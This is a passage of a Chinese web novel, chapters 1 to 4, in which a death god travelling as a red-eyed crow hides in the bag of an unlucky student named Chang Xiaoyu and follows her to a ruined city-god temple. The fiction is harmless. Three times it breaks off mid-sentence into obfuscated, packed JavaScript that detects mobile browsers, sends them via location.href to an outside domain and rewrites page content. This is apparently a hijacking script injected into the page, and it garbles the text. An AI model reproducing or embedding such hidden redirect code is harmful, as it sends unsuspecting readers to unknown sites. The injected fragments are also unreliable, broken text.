《偷渡死神的一见钟情》 1. 第1章 饿。 赫罗特深吸一口气,让肺鼓胀起来,撑开胸口位置,缓解胃部前后紧贴的饥饿感。 真的好饿。 往下俯瞰,街道上人头攒动,不少学生在角落停留,与同伴闲聊嬉笑,路边摊的烧烤香味蔓延整条街。 他下方的一名女生站在两栋楼房中间的小路上,面朝着垃圾桶往嘴里塞包子,三下五除二消灭两个。 赫罗特眼尖,看她进食的速度开始减缓,而塑料袋里还有两个包子,其中一个只被咬了一口,还是肉馅的,汤汁饱满。 他都闻到香味了。 要是这会儿是人形,肚子指定会咕咕大叫。 没过多久,女生停下动作,低头看着剩余的包子犹豫片刻,仿佛下了莫大的决心,把吃不完的都放进塑料袋里打结丢进垃圾桶,擦了擦嘴离开街道。 赫罗特死死盯着敞开的垃圾桶,翅膀羽毛根微微翘起,蠢蠢欲动。 不行。 怎么能去翻垃圾桶!他堂堂死神,不能做那么丢脸的事! 就算不吃人类的食物,一时半会儿也死不了。 他挣扎着,艰难收回视线,就发现旁边一排麻雀歪着头,睁着小豆眼看他,好奇他怎么乌漆麻黑的,长得和大家不一样。 赫罗特抖了抖羽毛,爪子抓紧电缆往右边挪两步,嫌弃地远离这些没有洗澡、天天在野外打滚的脏麻雀。 他变成鸟类后,羽毛蓬松细密,颜色也是五彩斑斓的黑,为了保持干净美丽的外貌,他可是顶着越发寒冷的天气,每天在水龙头下洗澡。 可不能被蹭脏了。 赫罗特盯上这个大学有一段时间,这条街就是校门外最近的美食街。 今天周五,离校出门玩的人多,他看好时间在这里蹲点,打算寻一个任劳任怨,对小动物有爱心的愚蠢大学生当短期饭票提供休息地。 街道里人来人往,他站在人类头顶的输电网上,心里打着算盘,预备白天进入某个人类的家里休养生息,晚上出门找猎物重新启航。 自从偷渡进夏国,力量莫名被压制,为了方便行动保存力量才变成乌鸦,结果在这个城市里粗略转了一圈,一个可以收割的灵魂都没看见。 没有灵魂能量维持身体,只能保持乌鸦的状态,行动实在不方便。 赫罗特正想着,突然灵魂触动,仿佛有什么吸铁石般吸引他,张开翅膀扑腾几下,离开现在的位置,在前方的高压电塔落脚。 距离校门口近了一步。 他伸长鸟头,用血红双眼在人群中搜寻让他灵魂产生异像的东西。 赫罗特很快锁定目标。 随着这个奇怪的人类走近,他看清楚了人类的外貌。 平平无奇,勉强算得上清秀。 她扎着高马尾,头发不长,发尾调皮的翘起,额前碎发随风浮动,在太阳余晖的照应下呈现一片暖金色,眼瞳半透明,犹如琥珀。 仿佛笼罩在一层暖色光晕之中,连身形都变得朦胧,时间放缓,每根发丝的摇动清晰可见。 往前一步躲过阳光,她暗灭手机,抬起头来,眼睛重新还原成常见的黑色。 “常宵雨,你说的是这家店吗?” 站在她旁边的女生指着紧紧闭合的玻璃门说话。 赫罗特才惊醒过来,感觉自己停止的心脏恢复了跳动。 不对,死神没有心脏,能感觉到心脏的存在才有问题。 赫罗特警惕地检查起灵魂,这还不够,他抬起翅膀,喙在羽毛里翻找,又戳了戳毛绒绒的胸脯,确认检查无误后,松了一口气。 他重新看向两人。 透过躯壳,一层薄薄的金光在常宵雨的灵魂边缘环绕,以缓慢的速度消耗着,但这层金光实在薄透,想必过不久就会被磨灭。 常人难以察觉的几缕黑气从她的灵魂流出,穿过金光的破损处,抵抗压力飘散到外界。她对赫罗特莫名的吸引力似乎就来自于此。 而她的灵魂则像一团浓郁的黑雾,赫罗特的目光都无法穿透。 怪事。 赫罗特用爪子挠了挠头,他做死神几十年,从来没有见过这样的灵魂。 看着像将死之人,却感觉不到具体的死亡日期。 她旁边的女孩矮些,短发卷曲,一身嫩黄,缝着蕾丝边的内衬领口翻出,看起来年龄很小表达欲很强,话语不断从她嘴里吐出。 “应该是快期末了,老板提前回老家,所以没开张。” 常宵雨随手搭在金属把手上,晃了晃门,内部的大锁轻轻撞了一下玻璃门。 “啊?怎么这样,这可是我们最后一个学期了,我都还没尝过呢。” 施乃心住校,校门离宿舍远,她每次出门为了不辜负过长的路程,从来都是打车到周边广场玩的。 难得常宵雨说这家店好吃,她想着下个学期除了毕业答辩就不会再来学校,肯定要来体验一下,没想到居然已经关门了。 “好吃的不止这家,我们去其他店就好了。” 常宵雨收回手,把双手放在身侧。 施乃心看到她冻的有些泛红的手,然后看了看自己被厚手套包裹的手,问道:“你不冷吗?要不还是把手放在口袋里吧,或者我把暖宝宝给你!” 说着就要掏书包。 “不用,我这样就好。”常宵雨摇头制止她:“这条街上还有一家店不错,就是要走挺长的路,看你愿不愿意去吧。” “好啊,能和你一起吃饭可难了,不能错过。” 常宵雨低头看着她,露出一个笑:“走吧。” 施乃心看她笑了,心里美滋滋的,知道她的怪习惯很多,也不强求,只是在走路的时候偷偷拉开她单肩包的拉链,往里面塞了一个暖宝宝。 赫罗特向来随心所欲,有了感兴趣的人,原先的计划被他迅速的抛在脑后,朝着下面两人前进的方向一路飞到远处,估计着路程停在路边的树上。 他等了好一会儿,都有些不耐烦了,常宵雨的身影才出现在路上。 太慢了,人类走路的速度太慢了。 “就在前面,前面第二家。”常宵雨扬起下巴点出店面招牌。 施乃心停下,仰头看招牌。 正是放学时间,街上很多人,她突然停下多少有点挡路。 常宵雨伸手就要把她拉到街道内侧,突然瞳孔一缩,改拉为揽,手腕回扣抓住她的肩猛地后退几步往后倒,另一只手抓住店门让身体落在屋檐下,单肩包甩到手肘勉强挂着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542668|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 巨大的红色物体从头顶轰然砸下。 施乃心的身体撞在常宵雨身上,头脑一片空白。 “啊!”路过的学生被眼前模糊的红色残影吓得尖叫。 “轰隆!” 尘土四起。 突如其来的意外让四周的所有人静止。 除了赫罗特。 他蹲在树上,观察下方事情走向。 尘土散去,红色广告牌支架扭曲,白色的粗体大字被窟窿与裂缝截断,露出断裂的电线,内部长条灯泡顽强的发着光,闪了闪,最终还是无力的暗了下去。 仅剩一颗的螺丝钉大小不再契合孔洞,缓慢脱落锈迹斑斑的支架,掉在地上,咕噜噜的原地转几圈。 施乃心的脚跟距离这个巨大的广告牌只有一步之遥。 她还陷在常宵雨怀里,扭头眼神放空的看着这个广告牌,下意识的想到了班上同学打趣常宵雨的话:“……怪不得你被叫‘死神’。” 施乃心没有责怪她的意思,也并不认为这是常宵雨导致的,只是记忆就这么弹了出来。 死神? 赫罗特对这个词很敏感,他很明显感觉到常宵雨就是人类,而不是什么死神。 看着常宵雨勾在手肘里的双肩包,之前被拉开一小段的拉链还没关上,又思及那特殊的灵魂,他心生一计。 很好,就你了。 趁着所有人的注意力都集中在广告牌上,嗖的一声像根黑箭一样,把自己射入了单肩包里。 离得近了,赫罗特终于彻底感受到她的灵魂对他有着多么巨大的吸引力,让他的内心产生从未有过的感受。 而常宵雨周围散发出的黑气,是种异常的能量,不断吸引外界同频的东西。 如此看来,她简直是绝佳的诱饵。 寻找可收割灵魂的同时,在她身边待上一段时间,就能够在她死亡之前收割吸引来的灵魂,坐享其成。 赫罗特只是灵魂,待在包里没有增加任何重量,就连常宵雨都没发现包里多了东西。 “现在你知道我为什么不把手放在兜里了吧?” 常宵雨无奈的把施乃心扶起来站稳,绕开地上的广告牌走出去抬头望了望,这个广告牌是隔壁店的。 这些事她早就习以为常,毕竟她从小到大都很倒霉。 不过常宵雨总觉得,最近发生的事故越来越严重了,以前最多只是摔个跤,这次砸下来的广告牌,要是她反应不及时可是会死人的。 看来就不应该心存侥幸答应和施乃心一起在外面吃饭,她只会连累别人受伤。 常宵雨不动声色的看了一眼旁边被吓坏的陌生学生,她身后的人越来越多,这样的事故少见,人们凑热闹吃瓜的天性让她们包围了上来。 常宵雨把手肘处的单肩包上拉,挂在肩上,招手示意施乃心离开。 施乃心小跑过来,依旧心有余悸:“太吓人了,还好你反应快。” “我们走。”常宵雨低声道,靠近包围圈弯腰打算出去,却有人叫停。 “姑娘,这就打算走啦?”喊住她的是这家店的老板:“天呐,吓死个人啦!这是隔壁老樊的广告牌吧?哎呦,你看看,都生锈了,要是运气不好砸的不就是我们了?” 2. 第2章 老板的丈夫从厨房里出来,站在店门口看着地上的广告牌,脱下湿淋淋的橡胶手套。 “不得了、不得了,这得找老樊要个说法,两个小同学你们先别走啊。” 他拉扯嗓门大喊:“老樊!老樊!这么大事不出来看一下!” 隔壁老板见事不妙跑了出来,人群自发给他空出一条道路,让他进内包围看到广告牌的惨状。 “老板,你这生锈的广告牌不能早点换新吗?” “就是,而且还架得那么高,我们都是学生,出事了没地方哭去。” 学生们七嘴八舌的说着,说得老板额头冒汗。 这时又有人认出了常宵雨:“这不是我们系隔壁班的死神吗?” “死神?谁啊。” “可能其他学院的人没听过吧,我跟你们说,我同学喜欢养花,有一次买了新的花,连盆搬回学校宿舍,路途中撞到她了。”这人比划了一个小小的手势。 “其实就是轻轻碰了一下,没出任何事,结果你猜怎么着?第二天早上起来我同学发现花枯啦。” 有人瞪大了眼睛。 “这么厉害!” 隔壁老板就是那个叫老樊的人,他搓了搓手,看了看摔得稀巴烂的广告牌,又看了看半躲在后面的施乃心,面对着常宵雨,脸上笑出褶:“同学你看啊,这,你的朋友不是没出事吗?我这广告牌好多年了都没问题。” “不过我确实不太好意思,以后来我们店吃饭,给你们两个打七折怎么样?” 常宵雨念在讨生活都不容易的份上,本来不打算闹大,但这个老板实在太厚颜无耻了。 确实没人出事不错,可这种事只能由她和施乃心来说,而不应该是由这个老板讲出,当做蒙混过关的借口。 “老板你这样就没意思了。”常宵雨冷着脸:“你的广告牌差点砸到我朋友,还好意思暗示是我太倒霉,是我的问题?” 她踢了广告牌的边边一脚:“这个支架老的不成样了吧,摔这么一下,正常来说都是折断,你这都快碎成粉了。” 周围人一看,果真如此。 “要不是前面这两个人在我前面,估计被砸的就是我了,我可没那么快的反应力。”说这话的学生位于常宵雨身后,是刚才被广告牌吓了一跳的人。 这家店的老板也后怕,要是来吃饭的学生在她门口出了事,别管广告牌是不是她家的,那肯定没法做生意了。 而且除了学生,出入这门口次数最多的人就是她们夫妻俩。 “老樊啊,你赔偿也不能这么没有诚意,打七折你不也没亏吗?说白了就是不想出真金白银,不能这么欺负学生啊!” “而且你的广告牌本身就安装过界了,我想着都是邻居,好心让你装了,结果,天杀的,你这是要害我啊!”老板又哭又喊的,中年妇女的演技向来不错。 在大家的帮助下,常宵雨拿到了隔壁老板赔偿的四百块现金,再多的也拿不出来了。 没了热闹,周围的人逐渐散去,留下隔壁老板清理他的罪证。 赫罗特探出头,在摇晃的单肩包里久久看着隔壁老板忙碌的背影越来越小。 常宵雨捏着钱,和施乃心肩并肩走到公交车站,深感抱歉:“看来今天是没法一起吃饭了,时机不对,这笔钱应该是给你的,拿着吧。” 施乃心抗拒的推开现金:“不不不,说到底我没受什么伤,而且你比我更需要钱。” 常宵雨不说话,执意把钱往她的口袋里塞,吓得施乃心跳开跑远,仿佛看到了过年强塞红包的亲戚,书包上的彩色挂件一甩一甩的,然后打了个车飞速离开她的视线。 可如果不是和她在一起,广告牌未必会在那么多人的时候掉下来,也不会让施乃心受到惊吓了。 常宵雨看着手里的四张纸币,紧紧捏着,直到捏出褶皱,这才回神,松手叠起来。 就在赫罗特以为她要把钱放进包里然后发现他时,她停顿了一下,把钱塞进棉服口袋,拉上拉链。 大约十分钟后,公交车停在面前,她上了车,决定换一个目的地,暂时不回家。 这年头坐地铁的人比较多,车上一个人也没有,公交车摇摇晃晃的,司机开得很悠闲。 常宵雨透过模糊没洗干净的玻璃,看着绿化带发呆,这是她难得放松的时候,可惜时间短暂,不一会儿就到了。 菜市场的门口到处都是小水洼,天快黑了,差不多到点关门。 卖菜的基本都收摊走人了,菜也不新鲜了,留下来的大多想找其他渠道或是碰运气处理剩余食材。 这对常宵雨来说正好,她这样的穷人也能够低价买下不太新鲜的食材。 常宵雨挑挑拣拣的时候,赫罗特正好奇的观望菜市场,他还没有深入过这种地方。 事到如今,他也看出常宵雨的经济状态了。 不过那又如何呢?这么有趣的事情和灵魂已经很少能碰到了。 菜市场边缘还有一些卖日用品的店,赫罗特想伸长了脖子去看,又担心被常宵雨发现,然后把他放生。 他想起刚来夏国时,找了一家没关窗的进去睡觉,结果被小孩发现,然后大人门就拿着拖把扫把赶他出去,嫌他晦气。 赫罗特决定忍忍,忍到她回家了再说,知道她的住址,到时候会发生什么他说了算。 常宵雨目标明确动作迅速,买了周末两天的菜,顺手拉上单肩包的拉链,立刻赶回家。 说是家,其实就是租的一个小房子,位于城中村,一个月花不到六百块,邻居都是为了孩子高考就近照顾的父母,还算安全。 打开灯,房间布置映入眼帘,门口就是租房赠送的小冰箱,耗电太高,只有周末在家吃饭的时候常宵雨才会打开电源。 这也是她只买够周末两天吃的菜的原因。 小小的空间里家具不多,一把椅子,一台可移动小桌子,桌上放着常宵雨买的散装零食和电煮锅。 桌子旁摆着一张床,整整齐齐的纯蓝色床上三件套。 她把菜塞进冰箱,然后坐下来休息。 通常她会在学校食堂打包晚饭回家,今日特例,只好提前买菜。 赫罗特在包里已经有些忍不住了,确信已经到达目的地没必要躲躲藏藏,就探出尖喙去啄拉链,想把自己从包里放出来。 常宵雨缓过劲,刚把三百块现金分开放在两个不同的地方,一回头,就见到她放在椅子上的单肩包诡异的蠕动着。 除了书和笔,她好像没在里面放什么奇怪的东西吧。 她思忖着,放轻脚步走近,盯着包看了好一会儿,单肩包不规则蠕动着,里面的东西完全没有停下来的意思。 常宵雨伸手缓缓靠近,猛的拉开拉链。 一只通体漆黑的鸟在里面不安的乱动。 撑开包包,单手抓住赫罗特的脖子举到眼前,常宵雨观察着他,狐疑道:“乌鸦?” 比常见鸟类要稍微大一点的体格,意外没什么重量。 她的大眼睛和赫罗特的两只血红眼珠对视。 “嘎啊啊啊!” 赫罗特大叫起来,扑腾翅膀。 乌鸦的情绪好像有点激动,常宵雨不了解鸟类,不知道该怎么安慰他,只是冷静的站在原地,手一动不动,等待他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542669|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恢复常态。 然而赫罗特并不善罢甘休,这个姿势难受的很,拼命扭动身体。 常宵雨终于意识到自己有点粗暴,思维混乱了一瞬间,转为双手捧着他。 等他停下扇动翅膀,甚至开始梳理羽毛时,她才试着用手指蹭了蹭他的脑袋。 羽毛纹理顺滑。 常宵雨环视周围,打算开窗把这只误入的乌鸦放出去。 她的眼睛一往窗边看,乌鸦就再次大叫起来。 乌鸦叫声粗哑难听,常宵雨被吵得头疼,只能放弃这个想法,警告道:“别喊了,我这里隔音很差,我不放你出去可以了吧?” 好像能听懂她说话一样,乌鸦立刻安静下来,歪着头看她。 常宵雨松了口气。 “乌鸦有红色眼睛的吗?还是说你是什么其他品种?” 她有些好奇,想拿出手机搜索,双手捧着乌鸦,却没有空闲的手。 怕乌鸦又吵起来,她小心翼翼的倾斜其中一只手,让他的爪子被迫往左手移动。 乌鸦依旧盯着她,收回一只爪子,短暂金鸡独立,然后把两只爪子都放在了左手上。 常宵雨捧着他,右手空闲下来,指纹解锁手机,打开浏览器。 “……患有白化病的乌鸦,眼睛可能会呈现红色,是体内缺乏黑色素导致的。” 原来只是少见,但不是没有。 常宵雨开始观察乌鸦,赫罗特被看得有点不自在,假装自己真的是一只鸟,开始梳理羽毛,用余光关注她。 养只鸟和养个死神是完全不同的两件事,他才不想暴露自己的身份。想要在这里待的更久,就要做好长时间伪装的准备。 没想到他一开始动作,常宵雨的眼神更认真了,重复几次后,他放弃梳理羽毛,把自己当成一只无所事事的乌鸦。 常宵雨想过等她以后工作有钱了,就养一只猫或者狗,从来没想过养只鸟。 一只乌鸦,即使是现在的她也能负担得起,她的生活还是能容纳下这一点小小的意外的。 想到这里,常宵雨低垂眼睛看着他,嘴角不自觉翘起:“你既然不想走,那以后就一起生活吧。” “乌鸦和我这个倒霉蛋,说不定还挺配的。” 乌鸦的动作一下顿住了,爪子上提飞到桌子上,开始梳理羽毛。 常宵雨见状,自以为他是不喜欢待在人手上,从衣柜里拿出衣服洗澡去了。 冬天寒冷,门窗都关着,她并不担心乌鸦会跑出去。 她的身影消失在视线里,赫罗特的身体就啪叽一下倒在桌面上。 累死了,装成一只鸟怎么会这么累,还好常宵雨没打算强行把他赶走,还打算一起生活。 曾经作为人类的,大约一百多年前模糊的记忆里,由于异于常人的性格,他被同龄人排斥,父母也是更喜欢哥哥,对他没有一个笑脸,直到他意外惨死。 成为死神后,更是日夜打拼,还要和其他死神抢任务争取业绩,死神与死神之间基本只有竞争关系。 换句话说,就是他从来没有得到过别人的一个好脸色,当然,他也不屑于去做讨好别人的事情。 ……也做不到就是了。 或许就是这种性格,让他完全不受欢迎。 如果常宵雨不能接受和一只晦气的乌鸦住在同一屋檐下,他也完全可以接受的,这是常有的事。 只不过那时候他就会强行霸占这个屋子。 赫罗特想起在商业街发生的事情,明明被称呼为死神,却如此出名,还很受其他人的欢迎,被所有人支持着。 和他一点也不一样。 3. 第3章 常宵雨推开热气蒸腾的淋浴间,雪白的干毛巾拭擦滴水的头发,她将毛巾拧紧附在头发上,踩着拖鞋走出浴室。 “咔啦。” 推拉门移动有些困难,发出与轨道摩擦的声音。 常宵雨停下擦头发的动作,视线被桌子上的景象吸引。 乌鸦将他的半个身体埋在零食碗里,房间里充斥着拆开塑料包装时会发出的声音,零零碎碎。 发梢不再滴水,常宵雨匆匆擦两下,随手把毛巾挂上椅背,走到桌子面前弯腰看着乌鸦的动作。 撕碎的包装袋到处都是,随着乌鸦的辛勤劳作一片片飞出零食碗,落在桌面上。 尖锐的鸟喙张张合合,最尖端从头滑到尾,封口处断裂开,他就把喙往里面伸,贪婪的咬住里面的小蛋糕拽出来,把嘴张到最大,仰着头企图一口把蛋糕吃掉。 偷渡过来的这一个星期,赫罗特就没吃过一口东西。 好吃,这点根本不够。 人类的食物能让他缓解一些饥饿感,不再那么难受,味道也比他活着时吃过的食物要好得多,就算为了零食,他也不想离开夏国。 正当他艰难吞下蛋糕时,常宵雨的脸低下靠近。 “乌鸦不能吃那么多有添加剂的食物。”她还记着百科说养宠物需精细些,就算乌鸦是杂食也需要多加注意,伸手想拿走剩下的零食。 赫罗特伸出翅膀想打开她的手,一缕浅浅的黑气就在这一刻从她的灵魂溢出,缠绕在蛋糕上,吸引了他的注意力。 他惯性咕咚吞进肚子里,灵魂犹如摄入了大补之物,原本有些动荡的灵魂肉眼可见的变得坚固。 不禁放缓动作,任由常宵雨带走其他零食。 那股黑气让夏国地界对他的压制减少了。 他探究的看向常宵雨,她的灵魂依旧时不时散发出黑气,却并没有附着到任一物体上,而是消散在空气中。 常宵雨坐上床,双腿塞进被子里,看了不知道在想什么的乌鸦一眼,拿出手机。 屏幕点亮,滑动界面,给施乃心发消息。 施乃心喜欢旅游,接触新事物,有事情找她打听最合适不过。 【雨:你之前说过一次的,偶然发现的城隍庙在哪里?】 施乃心时时刻刻住在网上,消息才发出去,她的昵称下方就迅速闪动“正在输入中……”五个字样。 【黄金榴莲派:啊,那是我以前旅游乱走的时候无意间发现的,有点破败,你确定要去吗?】 这条信息结束,“正在输入中……”不规则闪动将近一分钟。 手机另一头的人似乎犹豫着删删减减,最终还是回复消息。 【黄金榴莲派:[坐标,坐标]】 【黄金榴莲派:加油!一定要注意安全啊。】 常宵雨明白她的未尽之意,笑了笑,长按坐标收藏,熄灭手机,打算明天就出发。 不管有没有用,她都得试试。 * “是的,很抱歉今天临时有事,去不了了,对,昨天晚上请过假的……好的,谢谢店长。” 常宵雨挂断电话,手指内勾住鞋后跟穿好鞋,鞋尖点点地,低头就看到运动鞋的网面陈旧,鞋底磨损得很薄。 再过一段时间必须换鞋了,这双鞋还是她高三时买的,依稀记得鞋底该有三厘米那么高,现在不知道够不够两厘米。 按下门把手拉开,楼道的灰尘扬起来,身后一连串乌鸦叫声响起。 “嘎啊啊——” 常宵雨回头看向地面。 地上放着一个快递纸箱,声音正是从那里面发出的。 由于没有鸟笼,常宵雨暂时使用快递纸箱戳孔来装乌鸦,防止它大晚上的在她的床上做不文雅的事情。 意外的是,它一晚上没有叫喊过,已经是只听话得惊人的鸟了,这会儿要出门,却重新叫了起来。 “安静点,我晚上就能回来。” 话一说出口,常宵雨就嫌自己脑子太不清醒,指望一只鸟能听懂她的话,还要乖乖照做。 果然,赫罗特开始在纸箱里拍打翅膀,把箱子拍的啪啪响,更大声的叫喊起来,还拉长了声音:“嘎哇——” 常宵雨不明白他到底想要干什么,只好蹲下身打开纸箱让他飞出来。 要是放在这里,隔壁的家长绝对会因为乌鸦太吵找她麻烦。 赫罗特一出纸箱,扑腾翅膀在常宵雨的肩上落脚,爪子抓紧她的厚外套。 爪子紧紧的抓在肩膀上,力道却控制的很好,没有弄破衣服。 野生的鸟会注意这种事吗? 连一些从小养到大的手养鸟都经常下手没个轻重。 常宵雨暗暗在心里留了个底,反锁上门:“走吧,我们出发。” 来到公交车站,她仰头看着灰蒙蒙的天呼了一口气,白雾在冷气中凝结。 仅仅一个晚上,降温十分厉害。 常宵雨调出地图导航软件,再三确认路线。 先坐公交车直线走大路,在第三个路口右转,再到一个路口就下车坐地铁。 地铁出站直接坐公交车,路途会越来越偏僻,其中有两个站属于无人区,都是工业场所。 下车后,剩下的路靠双腿走过去,大约一公里多。 常宵雨抬起头,路口远远的来了一辆车,赫罗特视力好,看出刚刚好是她要上的公交车。 公交车来到面前,抬腿上了前面阶梯,常宵雨挪动手机把二维码放在付款机下一晃而过,视线掠过头发有些花白的司机,放在空无一人的车厢内。 她在第三排的位置坐下,这个位置能看到司机的半个背影。 一路摇摇晃晃,地面不平坦,导致司机操作车辆快速通过时,居然产生了一瞬间过山车下落的效果。 常宵雨一手捂住肩上的赫罗特,另一手抓紧前面座位椅背上的把手,才没把自己颠出去。 她缓了一会儿,抬头皱眉看向前方,这一看就发现路线不对。 常宵雨瞥了眼自己右手前方,一臂距离,镶嵌在窗边的安全锤,转而看向司机的后脑勺。 “叔叔,你这个路线不对吧。” 仿佛没听到似的,常宵雨加大音量。 “叔叔!” “哦哦,原来是在喊我啊,不好意思啊,我年纪大了,有点耳背,一时间还反应不过来呢。”司机回头讪笑。 他一转方向盘,指了指前面的路:“这不就回来了吗?昨天晚上那个路口出车祸了,现在还封锁着,过不去,我就提前路口转了方向,这是第二个路口过来的路,应该没有错过你要去的站吧?后面的路线和图上是一样的。” 常宵雨微微放松,手还扶在椅背上:“这样啊,我还以为我坐错车了呢。” 直到下车她才真正放松下来,地铁人太多,乌鸦抓的很稳,常宵雨还是怕他被人流挤坏,把他塞到了包里,然后坐了地铁又上了第二趟公交车。 虽说前面是虚惊一场,但现在这辆公交车的前进路线越来越偏,她时刻开着地图导航,万一有意外发生也能够提前预防。 赫罗特从单肩包里挤出头,看了看常宵雨有些紧张的样子,打量起周围。 没有异常的景象,没有异常的气味。 他不乐意被关在包里,收紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542670|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翅膀拼命钻出单肩包,然后站在拉链上起飞,重新落在肩膀处。 赫罗特也不是不能理解,她平时那么倒霉,在路上遇到坏人和意外的概率肯定比普通人要多。 他用翅膀拍了拍常宵雨。 没关系,有他这个死神在,肯定不能让免费饭票出事。 报酬的话,那种黑气一样的东西多给他点就好了。 “你在安慰我吗?谢谢。”常宵雨脸上的表情柔和了很多,肌肉不再那么紧绷。 赫罗特收起翅膀站在肩上,歪头看着她的侧脸,然后轻轻一跃,鸟头向下,以顺滑的羽毛为滑板,一路滑到了她的大腿。 宽阔! 他往大腿上仰面一躺,彻底放松身体。 常宵雨凝视他片刻,转过头去看向窗外。 在高速行驶的车辆当中看不太清楚外面的景象,但公交车在地图导航既定的路线上行驶,不知从何时起,城市中的绿化带已然消失,取而代之的是灰白的水泥地,与路边枯黄的杂草。 远处的建筑低矮,偶尔有高高的烟囱耸立其中,成为常宵雨第一眼就看到的东西。 零散的工厂集群很快被抛在车后,建筑缩小直到再也看不见,路边枯黄的杂草逐渐有复苏的迹象,绿意点点。 快到了。 前方青山层叠,随着车辆的前进拔高。 按照施乃心的说法,下车后会进入某个特色文化小镇,小镇不大,只要顺着最宽的那条路往内走,然后找到最里面最老的屋子,从左手小路进去就能看到城隍庙。 但是—— 赫罗特从常宵雨的膝盖上跳起来。 “师傅!快停车!” 车辆的前方有相当一段路呈现黑色,是个深不见底的大坑。 常宵雨猛地抓着椅背站起,目光犹如利箭射向公交车司机,然而司机握在方向盘上的手没有丝毫动弹。 视线上移,常宵雨看到司机坚定不移的后脑勺,仿佛完全没有听到她的声音。 这回总不该是耳背了吧! 她向上拔出安全锤,注意力高度集中,没有一丝犹豫,找准角度使出全身力气敲碎四个角。 “哗啦!” 往后随手丢出锤子,左手抓紧赫罗特,右手伸出窗外扒在公交车的外壳上,瞄准外头碧绿草地,借力往外跃出跳出车窗。 不能直接用脚落地,冲击力太大,万一失去行动力到时候后悔也晚了。 常宵雨想起自己小时候在孤儿院里玩滑板导致右手骨折时医生在诊断之余说出的话——那是她小时候唯一的娱乐: “从那么高的地方摔下来却没有想象中严重呢,你是不是在空中旋转或者打滚了才落到地上的呢?” “啊,确实,这孩子在空中旋转了起码有两圈才落地的。”这是院长妈妈的声音。 “那可够厉害的,要是没有旋转的那几圈,你的手就会是断了而不是骨折,还有,以后摔跤记得不要用手去撑,后果很严重。” 在这一瞬间,她能做的事情就只有,调整自己落地的角度! 紧急中她挥手把赫罗特丢出去,让他自己飞去,然后双手抱头尽量保护头部,以单肩包作为头部盾牌缓冲,让背部着地利用惯性向前滚动。 眼见就要接近地面,常宵雨以为是大坑的黑色地面,却犹如黑色凝胶一般飞速往回移动,伸出千万个触手向她缠绕而来。 常宵雨眼睛缓缓睁大。 这是什么东西! 眼前诡异的黑色液体高高弹起,全方位包围了她的身体,常宵雨最后的记忆就是雾城一如既往灰蒙蒙的天空,然后一切都陷入黑暗。 4. 第4章 有什么声音。 细碎的,微小却频繁的。 噼里啪啦的燃烧着。 随着耳边的声音逐渐清晰,越来越大的嘈杂声涌入了常宵雨的耳朵。 仿佛有无数人围绕着她说话。 “……我明明已经向城隍祈求了孩子身体健康。” “城隍大人,请保佑我的夫君榜上有名。” “我想要妈妈平平安安的,爸爸不要再打妈妈了。” 常宵雨猛地睁开眼坐起,头疼得让她眼前一片模糊,什么也看不清,只能用手腕敲敲额角。 收回支撑在地面上的手,她摸了摸挂在胸前的包包,把手机掏出来看了一眼时间。 十点二十四分。 她早上九点左右出发,一路过来估计花了一个多小时,看来她没有晕倒多久。 手机屏幕亮莹莹的,照亮常宵雨的脸,她皱眉,困惑的打开手电筒灯光。 四周一片漆黑。 她将手机倒转过来,发出灯光的手电筒面对自己,照得身上一片亮堂,衣服颜色细节清清楚楚。 常宵雨关闭手电筒开关,手机锁屏丢进包里。 手信号不在区域内,内置的手电筒又没法照亮四周,暂时是没用了。 常宵雨陷入沉思。 话说她慢慢恢复意识的那段时间,确实听到耳边有很多人在说话,但眼睛睁开的时候,一切响动都消失了。 说话声还提到了城隍。 常宵雨此行的目的就是去那个城隍庙看看,抱着一丝可能寻找到竭止她倒霉运势的希望。 其中定然有所关联。 只是她对那座城隍庙的了解太少,想不出有用信息。 常宵雨爬起来,仿照盲人的模样,将折叠雨伞抽出,拉长杆子,点在地上集中精神倾听声音,感应雨伞给传来的触感。 她抬脚慢慢往前走。 这里与其说是一片黑暗,倒不如说像是眼睛完全失去了作用,她并不是看到了黑暗,而是什么都看不到,连黑暗也看不到。 在这样的环境下,听觉不得不敏锐了起来。 常宵雨没有停止四处观望,只是眼睛在虚空中还是一无所获。 噼啪。 她停了下来,沉心倾听。 噼啪,噼啪啦。 不是错觉。 手中的雨伞杆子画了个圆弧,点在左手边的地上。 听起来像是香烛燃烧的声音。 在确认地面平稳安全的基础上,常宵雨加快前进脚步。 不知走了多久,也不知走了多远,耳边的声音逐渐清晰,音量变大。 以常宵雨的视角看去,前方突然出现一团红光。 她收紧手里的雨伞,想要立刻跑过去看看究竟什么情况,但不行,越是快接近目标,就越不能着急。 深呼吸三秒,常宵雨稳定脚步与走路节奏,匀速靠近红光。 红光里的东西开始清晰的勾勒出其中物品的形态。 